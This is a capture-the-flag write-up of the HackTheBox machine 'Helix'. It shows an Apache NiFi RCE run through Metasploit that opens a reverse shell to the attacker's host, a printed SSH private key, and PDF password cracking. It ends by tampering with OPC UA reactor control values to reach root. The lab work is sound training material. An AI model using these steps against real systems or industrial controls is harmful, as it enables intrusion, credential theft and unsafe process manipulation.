In Helix, we exploited an Apache NiFi RCE, recovered an SSH key to access the operator user, and abused the OPC UA maintenance system to gain root.

Introduction

In this post, I will demonstrate the exploitation of a medium-difficulty machine called "Helix" on HackTheBox. This was one of my favorite boxes in a while as I really enjoyed the theme of hacking into a reactor controlled PLC.

This box was pwnd on 15 July 2026. The writeup was released on 14 August 2026 after the machine retired from the platform.

Step 1: running an Nmap scan on the target

After adding the IP to our hostfile (sudo vim /etc/hosts), I ran an nmap scan.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p- helix.htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-14 06:31 -0400
Nmap scan report for helix.htb (10.129.245.123)
Host is up (0.014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastruc...
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.31 seconds

The scan revealed an open SSH port and an open HTTP port running nginx.

Step 2: Enumerating the webserver

Visiting the webserver gave us a simple page with the option to request a call or start a project. After exploring these options for potential vulnerabilities, I did not find any obvious ones that could be exploited. Therefore, I decided to look in other directions.

website port 80

The "request a call" option led to a form which did not seem to have obvious vulnerabilities which could lead to a way into the system.

request a call option

The same applied to the "start a project" option.

start a project option

As this didn't yield any results, I moved on to other enumeration techniques where I started with vhost enumeration using ffuf. This revealed a subdomain called "flow.helix.htb".

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://helix.htb -H "Host: FUZZ.helix.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://helix.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.helix.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 782ms]
:: Progress: [19966/19966] :: Job [1/1] :: 2564 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

After adding the subdomain to my hosts file, I was able to access the "flow.helix.htb" subdomain which revealed a nifi instance which was connected to a maintenance database. The option to execute SQL code immediately caught my attention. Therefore, I started googling for information about the SQL connection which revealed a potential vulnerability through the database connection string used by the H2 driver: CVE-2023-34468.

. This could be easily exploited through a pre-made Metasploit module which I used to gain a shell on the target machine. The module is called “multi/http/apache_nifi_processor_rce” and can be found in the Metasploit framework.

Step 3: Gaining access

As mentioned earlier, I was able to exploit the vulnerability in the H2 database connection string through a premade Metasploit module. To do this, I configured the following settings in the Metasploit console to get a shell:

msf exploit(multi/http/apache_nifi_processor_rce) > set RHOSTS 10.129.245.123
RHOSTS => 10.129.245.123
msf exploit(multi/http/apache_nifi_processor_rce) > set vhost flow.helix.htb
vhost => flow.helix.htb
msf exploit(multi/http/apache_nifi_processor_rce) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf exploit(multi/http/apache_nifi_processor_rce) > set LHOST 10.10.14.208
LHOST => 10.10.14.208
msf exploit(multi/http/apache_nifi_processor_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/apache_nifi_processor_rce) > run
[*] Started reverse TCP handler on 10.10.14.208:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache NiFi instance does not support logins
[*] Command shell session 1 opened (10.10.14.208:4444 -> 10.129.245.123:32984) at 2026-08-14 07:23:36 -0400
[*] Waiting 5 seconds before stopping and deleting
[+] Processor Stop sent successfully
[+] Processor Delete sent successfully

The exploit gave us a shell as the nifi user.

id
uid=998(nifi) gid=998(nifi) groups=998(nifi)

Step 4: Lateral privilege escalation to operator

After obtaining a shell as the nifi user, I went through the files located in the /opt/nifi-1.21.0 directory where I found a backup of a private key file which was readable:

nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator_id_ed25519.bak
cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

This can be easily used to log in as the operator user using ssh.

┌──(kali㉿kali)-[~]
└─$ vim key            
                                                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ chmod 600 key
                                                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ ssh -i key operator@helix.htb                       
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Aug 14 11:38:31 AM UTC 2026

  System load:           0.05
  Usage of /:            87.2% of 6.52GB
  Memory usage:          39%
  Swap usage:            0%
  Processes:             233
  Users logged in:       0
  IPv4 address for eth0: 10.129.245.123
  IPv6 address for eth0: dead:beef::a0de:adff:fe2a:7f00

  => / is using 87.2% of 6.52GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Aug 14 11:38:33 2026 from 10.10.14.208
operator@helix:~$ 

As the operator user, the user flag could be captured.

operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt

Step 5: privilege escalation to root

First, I checked the sudo privileges of the operator user:

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

It seems we can run the helix-maint-console script as root without a password. Inspection of the script and running it revealed we can become root by running the script when some kind of maintenance window is opened for a short amount of time.

Next, I downloaded a png and a pdf file to my local machine from operator's home directory hoping to find more information about the maintenance window:

operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt
operator@helix:~$ python3 -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.10.14.208 - - [14/Aug/2026 11:47:13] "GET /control%20systems%20diagram.png HTTP/1.1" 200 -
10.10.14.208 - - [14/Aug/2026 11:47:27] "GET /Operator%20Control%20&%20Safety%20Guide.pdf HTTP/1.1" 200 -

The image file revealed that there was an OPC UA server running locally on the system. It also revealed that some endpoints of this OPC system were writable by the operator user.

local OPC UA server

On the other hand, the PDF file could not be opened right away as it was protected by a password. Luckily, I was able to crack it using pdf2john and John the Ripper.

┌──(kali㉿kali)-[~]
└─$ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > hash
                                                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
operator1        (Operator Control & Safety Guide.pdf)     
1g 0:00:00:55 DONE (2026-08-14 07:56) 0.01814g/s 4793p/s 4793c/s 4793C/s orphee..nsyncrox
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed. 

The PDF file contained a lot of information about the system and its configuration. The most important section described how the maintenance window could be opened:

open maintenance window

Putting everything together, I started with forwarding the OPC UA server dashboard on port 8081 to my local machine:

operator@helix:~$ ss -tlnp
State             Recv-Q            Send-Q                            Local Address:Port                        Peer Address:Port           Process           
LISTEN            0                 128                                   127.0.0.1:8081                             0.0.0.0:*                                
LISTEN            0                 50                                    127.0.0.1:8080                             0.0.0.0:*                                
LISTEN            0                 128                                     0.0.0.0:22                               0.0.0.0:*                                
LISTEN            0                 511                                     0.0.0.0:80                               0.0.0.0:*                                
LISTEN            0                 4096                              127.0.0.53%lo:53                               0.0.0.0:*                                
LISTEN            0                 100                                   127.0.0.1:4840                             0.0.0.0:*                                
LISTEN            0                 50                                    127.0.0.1:32839                            0.0.0.0:*                                
LISTEN            0                 128                                        [::]:22                                  [::]:*                                
LISTEN            0                 50                           [::ffff:127.0.0.1]:39049                                  *:* 
┌──(kali㉿kali)-[~]
└─$ ssh -i key -L 8081:127.0.0.1:8081 operator@helix.htb  
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Aug 14 12:07:58 PM UTC 2026

  System load:           0.08
  Usage of /:            87.3% of 6.52GB
  Memory usage:          40%
  Swap usage:            0%
  Processes:             235
  Users logged in:       1
  IPv4 address for eth0: 10.129.245.123
  IPv6 address for eth0: dead:beef::a0de:adff:fe2a:7f00

  => / is using 87.3% of 6.52GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Aug 14 12:07:58 2026 from 10.10.14.208

This dashboard can now be accessed locally at http://localhost:8081

reactor dashboard

Now we need to access the OPC UA server and follow the instructions that were provided by the PDF file to open the maintenance window. For this, I used an open-source OPC UA client with a GUI: OPC UA Client GitHub

First we need to forward the OPC UA server on port 4840 to our local machine:

┌──(kali㉿kali)-[~]
└─$ ssh -i key -L 4840:127.0.0.1:4840 operator@helix.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Aug 14 12:16:09 PM UTC 2026

  System load:           0.01
  Usage of /:            87.4% of 6.52GB
  Memory usage:          39%
  Swap usage:            0%
  Processes:             238
  Users logged in:       1
  IPv4 address for eth0: 10.129.245.123
  IPv6 address for eth0: dead:beef::a0de:adff:fe2a:7f00

  => / is using 87.4% of 6.52GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Aug 14 12:16:09 2026 from 10.10.14.208

If the forwarding is successful, you should be able to access the OPC UA server at opc.tcp://localhost:4840. This URI can be used in the OPC UA client to connect to the server.

Initial connection to OPC UA client

Now, we adjust the settings as explained by the PDF file. First we change the "MODE" parameter to "MAINTENANCE":

Enable maintenance mode

Next, enable TestOverride:

Enable TestOverride

Finally, we adjust the CalibrationOffset parameter until the temperature is above 295 °C.

Adjust CalibrationOffset

If done correctly, the dashboard should indicate that the reactor is in maintenance mode.

Opened maintenance mode

The last step involves running the script maintenance script with sudo while the maintenance mode is enabled. Doing this gives root access to the box:

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 74 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# ls /root
root.txt  snap

Congratulations! You have successfully gained root access to the box.

Final thoughts

Overall, this was a nice box which I thoroughly enjoyed solving. The privilege escalation part was quite challenging, but extremely fun to put all the pieces together. One of my favorite boxes so far!

Go to the Home Page